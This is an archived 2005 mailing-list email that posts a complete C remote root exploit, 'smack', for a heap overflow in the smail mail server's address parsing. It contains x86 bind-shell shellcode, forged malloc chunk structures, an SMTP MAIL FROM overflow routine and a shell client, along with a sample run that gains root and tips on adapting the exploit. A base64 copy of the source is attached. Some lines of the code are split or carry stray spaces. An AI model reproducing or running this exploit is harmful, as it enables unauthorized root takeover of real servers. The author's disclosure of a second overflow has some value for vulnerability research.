Likes: 
This is a multi-part message in MIME format.
--Multipart=_Sun__27_Mar_2005_23_42_31_-0500_yP_rQSeCbiyA5Ez6
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Greg, I noticed there are actually two vulnerabilities here. The one I posted,
and then the fact that the 'ap' pointer can be as long as one likes, and it will
be strcat()'d to the 'p' pointer.
/*
*
* 0
*
* smail preparse_address_1() heap bof remote root exploit
*
* infamous42md AT hotpop DOT com
*
* Shouts:
*
* BMF, wipe with the left, eat with the right
*
* Notes:
*
* You can't have any characters in overflow buffer that isspace() returns true
* for. The shellcode is clear of them, but if your return address or retloc
* has one you gotta figure out another one. My slack box has that situation,
* heap is at 0x080d.. My gentoo laptop had no such problem and all was fine. I
* don't have anymore time to BS around with this and make perfect for any and
* all, b/c I've got exam to study for and Law and Order:CI is on in an hour.
* If the heap you're targetting is the same way, then try filling it up using
* some other commands. If the GOT you're targetting is at such address than
* overwrite a return address on the stack. Surely there's a way, check out the
* source and be creative; I'm sure there are some memory leaks somewhere you
* can use to fill up heap as well.
*
* You might run into some ugliness trying to automate this for a couple
* reasons. xmalloc() stores a cookie in front of buffer, and xfree() checks
* for this cookie before calling free(). So you're going to need that aligned
* properly unless you can cook up a way to exploit it when it bails out in
* xfree() b/c of bad cookie and calls write_log() (this func calls malloc() so
* maybe you can be clever and do something there). Furthermore I found that
* when trying to trigger this multiple times the alignment was different each
* time. There are "definitely" more reliable ways to exploit this if you take
* a deeper look into code which I don't have time to do right now. The padding
* parameter controls the alignment and the size of the chunk being allocated.
* You'll probably have to play with it. Yes that's fugly.
*
* [n00b@crapbox.outernet] ./a.out
* Usage: ./a.out < host > < padding > < retloc > < retaddr >
*
* [n00b@crapbox.outernet] ./a.out localhost 64 0xbffff39c 0x8111ea0
* --{ Smack 1.oohaah
*
* --{ definitely, adv.:
* --{ 1. Having distinct limits
* --{ 2. Indisputable; certain
* --{ 3. Clearly defined; explicitly precise
*
* --{ Said HELO
*
* --{ Sent MAIL FROM overflow
*
* --{ Going for shell in 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1
*
* --{ Attempting to redefine the meaning of 'definitely'
*
* --{ Got a shell
*
* --{ Updating Webster's
* --{ definitely, adv.:
* --{ 1. See specious
*
* --{ For the linguistically challenged...
* --{ specious, adj. :
* --{ 1. Having the ring of truth or plausibility but actually fallacious
* --{ 2. Deceptively attractive
*
* id
* uid=0(root) gid=0(root)
* echo PWNED
* PWNED
*
* - Connection closed by user
*
*/
#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/select.h>
#include <arpa/inet.h>
/* */
#define BS 0x1000
#define SMTP_PORT 25
#define Z(x, len) memset((x), 0, (len))
#define die(x) do{ perror((x)); exit(EXIT_FAILURE); }while(0)
#define bye(fmt, args...) do{ fprintf(stderr, fmt"\n", ##args);
#exit(EXIT_FAILURE); }while(0)
/* fat bloated call them shell code */
#define SHELL_LEN (sizeof(sc)-1)
#define SHELL_PORT 6969
#define NOP 0x90
char sc[] =
"\xeb\x0e""notexploitable"
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x39\xc6\ x04\x24\x02\x89\xe6\xb0\x02"
"\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\ xcd\x80\x50\x6a\x01\x6a\x02"
"\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\ x6a\x10\x56\x50\x89\xe1\xb0"
"\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31\xc0\ x31\xdb\xb0\x66\xb3\x04\xcd"
"\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0\x66\xb3\x05\ xcd\x80\x89\xc5\x31\xc0\x89"
"\xeb\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x7c\ xf6\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\ xe1\x99\xb0\x6b\x2c\x60\xcd"
"\x80";
/* a dlmalloc chunk descriptor */
#define CHUNKSZ 0xfffffff8
#define CHUNKLEN sizeof(mchunk_t)
typedef struct _mchunk {
size_t dummy;
size_t prevsz;
size_t sz;
long fd;
long bk;
} mchunk_t;
/* */
ssize_t Send(int s, const void *buf, size_t len, int flags)
{
ssize_t n;
n = send(s, buf, len, flags);
if(n < 0)
die("send");
return n;
}
/* */
ssize_t Recv(int s, void *buf, size_t len, int flags)
{
ssize_t n;
n = recv(s, buf, len, flags);
if(n < 0)
die("recv");
return n;
}
/* */
int conn(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
bye("gethostbyname failed with error %s", hstrerror(h_errno));
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
die("socket");
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
die("connect");
return sock;
}
/* */
void shell(char *host, u_short port)
{
int sock = 0, l = 0;
char buf[BS];
fd_set rfds;
sock = conn(host, port);
printf("--{ Got a shell\n\n"
"--{ Updating Webster's\n"
"--{ definitely, adv.:\n"
"--{ 1. See specious\n\n"
"--{ For the linguistically challenged...\n"
"--{ specious, adj. :\n"
"--{ 1. Having the ring of truth or plausibility but "
"actually fallacious\n"
"--{ 2. Deceptively attractive\n\n"
);
FD_ZERO(&rfds);
while (1) {
FD_SET(STDIN_FILENO, &rfds);
FD_SET(sock, &rfds);
if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
die("select");
if (FD_ISSET(STDIN_FILENO, &rfds)) {
l = read(0, buf, BS);
if(l < 0)
die("read");
else if(l == 0)
bye("\n - Connection closed by user\n");
if (write(sock, buf, l) < 1)
die("write");
}
if (FD_ISSET(sock, &rfds)) {
l = read(sock, buf, sizeof(buf));
if (l == 0)
bye("\n - Connection terminated.\n");
else if (l < 0)
die("\n - Read failure\n");
if (write(STDOUT_FILENO, buf, l) < 1)
die("write");
}
}
}
/* */
int parse_args(int argc, char **argv, char **host, int *npad,
u_int *retloc, u_int *retaddr)
{
if(argc < 5)
return 1;
*host = argv[1];
if(sscanf(argv[2], "%d", npad) != 1)
return 1;
if(sscanf(argv[3], "%x", retloc) != 1)
return 1;
if(sscanf(argv[4], "%x", retaddr) != 1)
return 1;
return 0;
}
/* */
void sploit(int sock, int npad, u_int retloc, u_int retaddr)
{
ssize_t n = 0;
u_char buf[BS], pad[BS], evil[BS];
mchunk_t chunk;
Z(buf, BS), Z(pad, BS), Z(evil, BS), Z(&chunk, CHUNKLEN);
/* read greeting */
n = Recv(sock, buf, BS, 0);
if(n == 0)
bye("Server didn't even say hi");
/* send HELO */
n = snprintf(buf, BS, "HELO localhost\r\n");
Send(sock, buf, n, 0);
Z(buf, BS);
n = Recv(sock, buf, BS, 0);
if(n == 0)
bye("Server didn't respond to HELO");
printf("--{ Said HELO\n\n");
/*
* Build evil chunk overflow. The need to align chunk exactly makes this
* not so robust. In my short testing I wasn't able to get free() called
* directly on an area of memory we control. I'm sure you can though if you
* take some time to study process heap behavior. Note though that you'll
* have to fill in the magic cookie field that xmalloc()/xfree() and some
* other functions use, so you'll still need to have it aligned properly
* which defeats the whole purpose. This exploits the free() call on the
* buffer we overflow, so you have to align the next chunk accordingly.
* Anyhow on newest glibc there is a check for negative size field on the
* chunk being freed, and program dies if it is negative (the exact
* condition is not negative, but it has that effect pretty much, but go
* look yourself), So the techniques outlined by gera in phrack don't
* work (being able to point all chunks at our two evil chunks). Check out
* most recent glibc code in _int_free() if you haven't already.
*/
memset(pad, 'A', npad);
chunk.dummy = CHUNKSZ;
chunk.prevsz = CHUNKSZ;
chunk.sz = CHUNKSZ;
chunk.fd = retloc - 12;
chunk.bk = retaddr;
memcpy(evil, &chunk, CHUNKLEN);
evil[CHUNKLEN] = 0;
/* send the overflow */
n = snprintf(buf, BS, "MAIL FROM:<A!@A:%s> %s%s\n", pad, evil, sc);
Send(sock, buf, n, 0);
Z(buf, BS);
printf("--{ Sent MAIL FROM overflow\n\n");
#define SLEEP_TIME 15
setbuf(stdout, NULL);
printf("--{ Going for shell in ");
for(n = 0; n < SLEEP_TIME; n++){
printf("%d ", SLEEP_TIME-n);
sleep(1);
}
puts("\n");
}
/*
*/
int main(int argc, char **argv)
{
int sock = 0, npad = 0;
u_int retloc = 0, retaddr = 0;
char *host = NULL;
if(parse_args(argc, argv, &host, &npad, &retloc, &retaddr))
bye("Usage: %s < host > < padding > < retloc > < retaddr >\n", argv[0]);
printf("--{ Smack 1.oohaah\n\n");
sock = conn(host, SMTP_PORT);
printf("--{ definitely, adv.:\n"
"--{ 1. Having distinct limits\n"
"--{ 2. Indisputable; certain\n"
"--{ 3. Clearly defined; explicitly precise\n\n"
);
sploit(sock, npad, retloc, retaddr);
printf("--{ Attempting to redefine the meaning of 'definitely'\n\n");
shell(host, SHELL_PORT);
return EXIT_SUCCESS;
}
--
[ sean ]
--Multipart=_Sun__27_Mar_2005_23_42_31_-0500_yP_rQSeCbiyA5Ez6
Content-Type: application/x-gzip;
name="smack.c.gz"
Content-Disposition: attachment;
filename="smack.c.gz"
Content-Transfer-Encoding: base64
H4sICB6KR0IAA3NtYWNrLmMArVptc9u4Ef58/hWobhJLPkWW/JY4vmTqJM6dp0mciZxpe3FGA5Gg
yJokWIK0pLvJf++zC4CiZOWaTKsZSySw2F3sO7De39sRe4L+hv iiX5PJJBVFqQpZGjWRYVgqYyaj
bk/EShZiqiNRqkxXSpRaV0ItilQnlVud5JHMdG2ODrJQnF+LWFeFL sSrq2sR6MwBjWNdV+ape3vx
9nVfzJNC4auKRRUrkaqo6gslq9VQmcxiT+QdiDfL/6lrEch8txKxvFNC5ksRxLKUQaVKA36EvlNl
lOq5mNZRpEpgA97EmEIGCpsqVVWXuRFVWSvCF+lyIMQ1SJpYpW mgQwVoEaRKlgJ7BzNZH7iAIxJL
XZcOg3CSEppHUh0QtlhiIFcEKGa6qqSIklldKgEJgFcNbCUBgO TbpTCpDG4h4QWvY0ZNUtWySnTe
Z3SkAXCDieFi+GQYDga0bqbySmuRyqKCsGMZilwLUwcx9Kinqc pAKhQyTcUceKOE6V0SwlC3JZdp
cFYlGb60eDEWstQ1FjolEF28ZfJWiQIyVUFF0mKRY4LQgQRksx +Iy11gnLF5yIywmaoOlw48FG/k
nH+vylCVT19e0p50TtqSOWymLgeE7ZKlbTcNAe4Sc7KcqapK8h ktoVkjwe5cLvv0lkONoJKkKUNU
oi5EbfDMlq0BaSUOW8xA35AYLJFfYKFbaZAOSJJevdBKTtjIrO ZlAjeQ9ywgt5xV0CYojKHvdElD
pdoFQsttECvomswAE5a9ugwUi2WqRFDC/JM7dQZRZuCA+CIE0ImyO8nghNgs7PLW8Mic57EJwgaX
wM5ZkSQOEgTLEfqfw6wHLe/JyLVEWZP8SVOEvJ5BgrzdckmCwLisK53JSllLYE1CjnWRMvdg1 +ic
BLrIYAU6gGuZCvZkGEzfJorUG5U6r8iNrDP2ebuLqFTkiiwS45 zQknErpyoi0wykVayFJ9Fqr7SZ
dmzmSoXWdWSazHLFdgk3gMVCCXWe0q6WNmgwehIN64RWu2hGpj Mnc8LvFPHQsKISVrznlsycNgJv
c1zSXohFiJgMY5LqGeC6Vl51HrjJlXw04cvkcqoajkj1qYJtMb bQqgMYaHOkX+z6dV3SIzvrJURF
LkobJmRz5wNOGBXC5kw5WWZ1WiVQF3u4dR4WUYbowYEhTEgn9K ZkEBM6grTR0FleJ1QIH9hcuuwI
5gC2nUjEGJKgaYuQadoYCZe6ZSuRIlQKmhApCZ7NjQPsPE7gYp ftcOTDEETAsR8hbe4CcwFHcz6N
JAX/r9il86rU6ea+JAsHLpP8rlz4hp3VOcKsIiGxLmDV4cC5w26act TEnpaOEy2KFObBYTCpwMQ/
lY3Ou6TXWbr03vQpHw6nfw1KWSCGD2AyqsxV9VkM9iW9cZ79aO RMPW2Gfka4M5V4jge3LX62GcQ/
UmARz7+RCO0nZaQnR8gS0wifw9MAj09Go5GSlOjFo0d/iHFG2WY00DqWMnbYaWKlY/hneDd46idG
A/GrvCMew8QgQCIBpEmWVMYDHAzEZY65oq7IJs5EoMpKWr+h+cOB eEmJFKJlIio8Y3tJgqTCGKqO
IDGqxcpYJqH49eLNVXuM9Pr2/PKNeP3h6m2T31sQv3AwoCDCOZwCz+hYjI7E6FCMDsRoJEZDcSq e
iMfiRByLI3EoMCpaGM6rSmVF5dyoVJZbtp5MyZzGYUy7K0ntrp GH3VnSrdGPRSgZ4d/V1EBpu+Zb
5D1WsN0CYkFR1UL2mgMkKiUgrEkXFFq48klTlc9gzoOBh/XLCfm/BmKLNm2BZfeEOghmDvSweaTO
aZIm1ZLrHZRUNVOJ8C09R17vr1SgCspYAJBVRQUYXnxZyFG4Ts Jnwy5VjT0xWz3TlApiLd7//d3F
K8Fewo9usXgkXuo8R7mBMgjRURtE+OmS0ltpQfZ3dn6ENaY1Qs nPpgoTPYift4aCalmo9SGzNPs0
ajaGK5LD5hjcslofq3MIPbyP0ujgVm3AwjvD6T2UabIxFgV5lW 7BqFLsfH1cloXchz3y8M7O/h6J
4Edno6jbhovRcDhsRsZvr99P3l99uBYHxwD3w791F32UD3mPSg mjqm530euLYV90abDXwIWJwgwC
8R9U9pW6JMAeOW5SdS/+cXk9eQ1n/PjhAmNfEMlT1R2uVk+XqhtlKOdRVRlYpUUUFZBzFXUhCKDs
C0B0bvJOX/z4I8H9V+y86QhJfppqit6cWrk2dy7PaaUllTGCyJvJm4t3okup QIN00Hs06m0AsJRO
Tk9Om/F3V+8hz9PhDp0qhAk+fRbPxE7nZqGmN4uh6nRQxLuURyGvQ1OH o5tFMLxZHLu/kxO8P75Z
HB3dLA7wNzy4WYyw/PAU45gbtsafYExhbDqkd0YXhBjG65Nji/YxgT5ZkaHfcOqWjFbwTFraMf61
6JjCaH0ZcTg9XF9OcMGxXToidCcWpV8/HTK6ZunBaqmneny8Tm6T22btEa213A3vy6+NZm3Z8X1u
/donpx2vJR46tUsPo9WSo5H9jTA3BLrHAZ5P1smfQM4HEf0xuse HdsgPn2DTJ1h+ohyHh47jwxXH
p470CVg5AImTYWuznTNry1QapbYydPVJqExQJjjRlW07fvnrx3 d/G/8Gk4zs58n6FFm4M/CM8UwQ
YCnQAQgFeVkjZ0/sjPhjR+BD0JNKiLDOsuXZ2hDy8Z35fX3Mv6ca+QKfKFx/n96e7XwRnvaZj07G
rUfyDrtwfYF0hJINVcqdRorfw3mg72kg/PSpOBRRKhELdhyfbjYHTnrP4YeGsBk6jkd9u8wusSwl
UTdHAYVwIdyHQlmHFnV6Dos7ugHpl01WP6jgzrP6vzBZEp7vZZ IW/RmTRBnyy7sclvao3uuLemJi
XVaiwJfniDeArARGhk6T1gpoCVVSe3GxNk7AVHBOUDUZ6ThwGe KhkZwhfAiVPc9iXIAAjs2EdbrM
UZR36bHZpOgSxDPx7uObNz1Y3g9sK8gNnbVFiOmI8O7KgZONeG CQFmIwZ3NPPMFvrnsO8xfLuhzg
lD+JZJag/Hgmzl9PLt9dXJ+1J0komIorWF2XJbQ2zTX2M7G31+06QfjBvb0 etvfoecyvkzThbdm1
VrA263cd1b4YX73822R8/eHi/C3E1ZIBw7Oyf1iZIy9udE1ggS13GBzpeEMxAvywIlpa2ETqMGx a
EKFoGRFbNefL7zIjWPHKmnghTPvTi/FnOxKFE9iKKKPQrIuJ7dWScPLnWVcKdDZK55scBUHjFPh0
tlfR26DuVdTbgDaq6+30vqXQ3rZus+j+CgPfVYCvY9hSjm8j8t XSfHO/Xh2vX01+u/hw1X1ICvSD
XHiJ7qhxXUCNL6674+tXl+8mry+Rdq76wi9pQ1gbbpD90LgC17 XWI34SIwfS5wDR/ibTHjnTXvkM
L+6sIQS9y/HXeOq5ZOc/KcdlGXaHLi6/GDs39R/E5XQ9Lq9xQIs7G0tUapRdh0BH7tgwzYHuJv+z
kwyU0WzHb4mvkZwEbfbw0lgXB8N1vOC/bBNKWw2NEtck0SLjAguee/d4+sbNwTWzJOeLFbuzBtxJ
SXjxbuyFEX0AQ5wK6lJ9XTBQ9NXH60bT3yMh+72WTV2/A6cPTvp4CPo2uu3t4eWuebERjGD28kKG
/XsGQp96wgD2HqffeqUI3gTVqEtkwPHxysxcqB45z2Ny0BGx8Gn 0eWVxHoMxgcwZ0d2ng8990XkQ
ImESZz3xl2cki69g3lh7yGsXWGuZ/r7VR+3VvMc/X+5eh/eyEZ+kuj7dWDmzmJ0M1yW6IdCm/Frl
p3rCavMpqk9jQNc8q7skXeUuX7fSMz86dn/r+ijRxzOz455pvXthuIe8rN9U4z6C7vMdeShmpVKc
wLBjGidWudJs+d+LcbtsQH1oXW7N4caqpFviMAnpylTdKarWli JOOi2KVOry9Vmbmsldxm1odRik
uTi8ccGIFnC93mItX3G2ksnZ/3EnpTKFpktbzYx3tlUJza0g57DVfi3ePfGiTtKQNevOUv6O0F0 g
2x6BttfEDkQtkBaRIKm9Zfjy2mPDAR+2KEo9rQ3d/l7mIlsKWyJVyrAyL+kCndjnq3CgRlUrfFuD
SoXQYwsTlPZESHOzS8IoKOu7bs5c+YtsIuQ7P745gEK5nsXuUt 0jpLt127TxV+a211aUOqBeh+3a
qhiVBrc2qXvqMXGfZMmX3h6dv/LmrlFiO1mZnCWB73JEiUpdh6Vp9ez7pghdtxMvHpttt1Hzg7KC
oUzXJ2FamuCUqHh1MOmkadw0XRuPzHYJUNspWdl7/nmsIe6iLgukUlZuYnwDwkK0dOD6ch6bawdD
4t46PGeNDKx9VGwxi8oZigwCXdJFPd/7W1zn+TLWcyKQqzlMQszSZBq4jl3CLTBu99GVdK5m3Nmz
LQkrzXXO2v0J4j+0bTKIY1bKjBIaN1aoTWVW6LrEJ1txgwd+lH A2JjhYsYd1/etq1WZWEbdzceCv
UGxmdRBbmJn2yLhjQ/1u1F6ROOsh3o01y6ZSQZwn/64Vd8mob8hFzUyVkgyoiEvqM3Brp9GkLm9F
13VgnMcUmtNu6nyWO6/UXq/muuXKhtp+L33v1OPLKEfCr+g8a0Vv+/a5oCwxcUbgmlGkXXbVlAJy
o8T99kGXI/zu+a5LpC7CMAcDvihBrHNXMWetKXthsn3ua+NRyBUY93seidFB e256a+cox515/oJi
6bLOllzTpDQ/9tmmwrWMQFpr/i3izzND02d5+vP5X/56/vSBeY4T+QPDl7UsJcuKCb4vYdyP6du7
Ok2Eb+5p31xcvJ9cX769EKNjm/RVBbx0lQyLcIeGsy0ny3s9IZ/jMNi1FYOgq5gVBbz/9FNvdXLw
+B6EArtfwT3KWycBkypV4KTUvp8o6spQaUsUv/CF344vOzOZ5NsLzu1Hb8EW2a5vaF54C/JATdtw
/aAuVgUlyWlVy7WqX8uILXkf2mL3oa3AHvri66GvuzZSuWtuPjD f09dkU+Iicvh5q2Ws9SnXUv79
i4Wm17EN07deC2xvcn7ldL214bkN9tuan187lrvC2HqWVYfXhl fGlh1/fx9zXb58N+Qk2zRINi6V
uEkz/vjy5cV4TOb9H0zNkrZUJgAA
--Multipart=_Sun__27_Mar_2005_23_42_31_-0500_yP_rQSeCbiyA5Ez6--
Quote
